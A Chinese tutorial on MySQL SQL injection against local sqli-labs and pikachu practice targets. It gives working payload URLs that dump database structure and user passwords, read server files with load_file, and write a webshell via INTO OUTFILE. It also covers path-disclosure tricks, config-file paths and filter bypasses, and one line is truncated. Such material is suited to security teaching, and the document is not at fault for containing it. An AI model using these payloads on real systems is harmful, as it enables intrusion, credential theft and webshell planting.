sql注入mysql注入
#跨库查询及应用思路
information_schema表特性,记录数据库名、表名、列名对应表
information_schema.schemata:存储所有数据库名
schema_name:数据库名
利用sqlilabs第2关进行演示
1.猜解列名数量
可知字段数为3。
2.获取所有数据库名
获取所有数据库名:http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata
可知改系统上有10个数据库
sqlilabs通过查询对应的数据库为security。
3.获得pikachu数据库名下的表名信息
在网站中一个网站对应一个数据库。由上图可知sqlilabs的数据库为security,靶场pikachu对应的数据库名为pikachu。
获取pikachu数据库名下的表名信息:
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='pikachu'
有4张表。
4.获取指定数据库名下的表名的列名信息
获取pikachu据库下的users表的列名信息:
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='pikachu'
5.获取表数据
获取数据库pikachu数据库中users表中的具体信息:
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,username,password from pikachu.users limit 0,1--+
#文件读写操作
读取函数:load_file()
导出函数:into outfile或into dumpfile
读取数据:sele文件的路径’)
1.读取E:\下的test.txt文件
select load_file('e:/test.txt');
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,load_file('e:/test.txt'),3 --+
2.写入数据
写入数据数据到e盘下的test.txt文件
写入木马方法:
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,'木马',3 into outfile 'e:/test.php' --+
3.路径获取方法
(1).单引号爆路径
就像测试SQL注入一样在参数后面加上单引号。
http://localhost/?id=1'
(2).错误参数值爆路径
通过第一种方式可以会触发waf,因此可以通过错误的参数值来爆网站路径。
http://localhost/?id=-1
http://localhost/?id=oqewe
(3)通过搜索引擎获取
通过搜索引擎语法可能可以获取到网站路径,如:
Site:xxx.com warning
Site:xxx.com "fatal error"
intext:warning
(4)测试文件获取路径
网站通过XAMPP或者phpstudy等软件搭建的话,会存在一些测试文件,比如:
/test.php
/ceshi.php
/info.php
/phpinfo.php
/php_info.php
/1.php
/l.php
/x.php
(5)配置文件获取路径
如果注入点有文件读取权限,就可以通过load_file函数读取配置文件,再从中寻找路径信息。
Windows配置文件:
c:\windows\php.ini php配置文件
c:\windows\system32\inetsrv\MetaBase.xml IIS虚拟主机配置文件
Linux配置文件:
/etc/php.ini php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf 虚拟目录配置文件
XAMPP配置文件:
Xampp文件路径
C:\xampp\htdocs httpd.com配置文件
C:\xampp\apache\conf/httpd.conf vhosts.conf虚拟主机
C:\xampp\apache\onf\extra\httpd-vhosts.conf
phpnow配置文件:
网站默认路径
D:\PHPnow-1.5.6\htdocs httpd.conf配置文件
D:\PHPnow-1.5.6\Apache-20\conf\httpd.conf vhosts.conf虚拟主机
D:\PHPnow-1.5.6\Apache-20\conf\extra\vhosts.conf
phpstudy配置文件:
网站默认路径
C:\phpstudy\www httpd.conf配置文件
C:\phpStudy\Apache\conf\httpd.conf vhosts.conf虚拟主机
C:\phpStudy\Apache\conf\extra\httpd-vhosts.conf
LAMPP配置文件:
网站默认路径
/opt/lampp/htdocs httpd.conf配置文件
/opt/lampp/etc/httpd.conf vhosts.conf虚拟主机
/opt/lampp/etc/extra/httpd-vhosts.conf
(6)nginx文件类型错误解析爆路径
要求Web服务器是nginx,且存在文件类型解析漏洞。有时在图片地址后加/x.php,该图片不但会被当作php文件执行,还有可能爆出物理路径。
http://localhost/test.jpg/x.php
(7)phpmyadmin爆路径
/phpmyadmin/themes/darkblue_orange/layout.inc.php
(8)配合远程代码执行漏洞
比如eval()函数可控的话,直接传入phpinfo(),通过phpinfo页面中Document_Root参数获取网站绝对路径。
#常见文件写入问题
1.魔术引号开关
magic_quotes_gpc=on时,输入数据中引号(')、双引号(“)、右斜杠(\)、null(null)等字符都会被加上反斜线(\)。
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,load_file('e:\\test.txt'),3 --+
\\被转义成\\\\,'转义成‘\
绕过方法:
将路径去掉引号采用十六进制编码即可绕过。
2.php语言的addslashes()函数
addslashes()函数与魔术引号作用类似,输入数据中引号(')、双引号(“)、右斜杠(\)、null(null)等字符都会被加上反斜线(\)。
3.内置函数int
我们修改第2关的php文件
再进行测试
无法注入!且无法绕过
4.自定义关键字
str_replace('select','warning',$id)函数将select替换成warning。
进行测试:
select被修改,修改大小写可以绕过。
sql注入mysql注入的更多相关文章
- 对MYSQL注入相关内容及部分Trick的归类小结
前言 最近在给学校的社团成员进行web安全方面的培训,由于在mysql注入这一块知识点挺杂的,入门容易,精通较难,网上相对比较全的资料也比较少,大多都是一个比较散的知识点,所以我打算将我在学习过程中遇 ...
- SQL 注入~MySQL专题
Recently, 团队在做一个关于SQL的项目,这个专题是项目中的一部分,该部分正是由我来负责的.今天,分享给正在奋斗中的伙伴们,愿,你们在以后的学习道路中能有自己的收获. ...
- sql注入--mysql
mysql数据库结构: 数据库A --> 表名 --> 列名 --> 数据 数据库B --> 表名 --> 列名 --> 数据 mysql数据库信息: my ...
- SQL注入之DVWA平台测试mysql注入
今天主要针对mysql常用注入语句进行测试. 测试环境与工具: 测试平台:DVWA,下载地址:http://down.51cto.com/data/875088,也可下载metaspolit-tabl ...
- 【sql注入教程】mysql注入直接getshell
Mysql注入直接getshell的条件相对来说比较苛刻点把 1:要知道网站绝对路径,可以通过报错,phpinfo界面,404界面等一些方式知道 2:gpc没有开启,开启了单引号被转义了,语句就不能正 ...
- 十三:SQL注入之MYSQL注入
MYSQL注入中首先要明确当前注入点权限,高权限注入时有更多的攻击手法,有的能直接进行getshell操作,其中也会遇到很多的阻碍,相关防御手法也要明确,所谓知己知彼,百战不殆.作为安全开发工作者,攻 ...
- MySQL注入与防御(排版清晰内容有条理)
为何我要在题目中明确排版清晰以及内容有条理呢? 因为我在搜相关SQL注入的随笔博客的时候,看到好多好多都是页面超级混乱的.亲爱的园友们,日后不管写博客文章还是平时写的各类文章也要多个心眼,好好注意一下 ...
- Mysql注入小tips --持续更新中
学习Web安全好几年了,接触最多的是Sql注入,一直最不熟悉的也是Sql注入.OWASP中,Sql注入危害绝对是Top1.花了一点时间研究了下Mysql类型的注入. 文章中的tips将会持续更新,先说 ...
- 史上最完整的MySQL注入
原文作者: Insider 免责声明:本教程仅用于教育目的,以保护您自己的SQL注释代码. 在阅读本教程后,您必须对任何行动承担全部责任. 0x00 ~ 背景 这篇文章题目为“为新手完成MySQL注入 ...
随机推荐
- 在win10上安装face_recognition(人脸识别)
github上有个项目face_recognition,是用于人脸识别的 主要是window上安装这个项目会繁琐些,linux上据项目文档上介绍是妥妥的. 项目地址: https://github. ...
- Solution Set - Stirling 数相关杂题
<好多题的题解> 「洛谷 P5408」第一类斯特林数·行 根据结论 \[x^{\overline{n}}=\sum_i{n\brack i}x^i, \] 我们只需要求出 \( ...
- Solution -「LOCAL」画画图
\(\mathcal{Description}\) OurTeam. 给定一棵 \(n\) 个点的树形随机的带边权树,求所有含奇数条边的路径中位数之和.树形生成方式为随机取不连通两点连边直到全 ...
- C# 字符串计算MD5
public static string ComputeMD5 (string text) // 计算字符串的 MD5 { System.Security.Cryptography.MD5Crypto ...
- [入门到吐槽系列] Webix 10分钟入门 二 表单Form的使用
前言 继续接着上一篇的webix入门:https://www.cnblogs.com/zc22/p/15912342.html.今天完成剩下两个最重要的控件,表单和表格的使用.掌握了这两个,整个Web ...
- spring的事务是如何回滚的、事务传播?
实际上也是问的这个问题 spring的事务管理是如何实现的?总: spring的事务是由aop来实现的,首先要生成具体的代理对象,然后按照aop的整套流程来执行具体的操作逻辑,正常情况下要通过通知来 ...
- 网络主动测评系统,IT网络运维管理的法宝!
随着计算机网络的普及和快速发展,互联网已经融入到人们的衣食住行等方方面面,如工作.购物.音视频聊天.视频会议.朋友圈.抖音.在线网游.网络电影电视等.毫不夸张地说,现如今大部分人的绝大多数时间都已经离 ...
- (二)ECMA 335 解析 /ECMA 334
C#被ECMA组织,定义为了<ECMA334>标准化语言. 什么概念? 比如说,上一次成为ECMA标准的语言是Javascript.即<ECMA262>标准. <ECMA ...
- gurbi安装
1,下载相应版本gurobi,msi文件,双击安装.注意安装路径,一般默认,否则容易出错. 2,注册gurobi账号,在校园网下电脑终端运行许可grbgetkey 3,添加许可路径到系统path 4, ...
- Weblogic补丁升级常见问题
转至:https://blog.csdn.net/weixin_44659716/article/details/106804177 常用企业级版本:Weblogic 11g(weblogic10.3 ...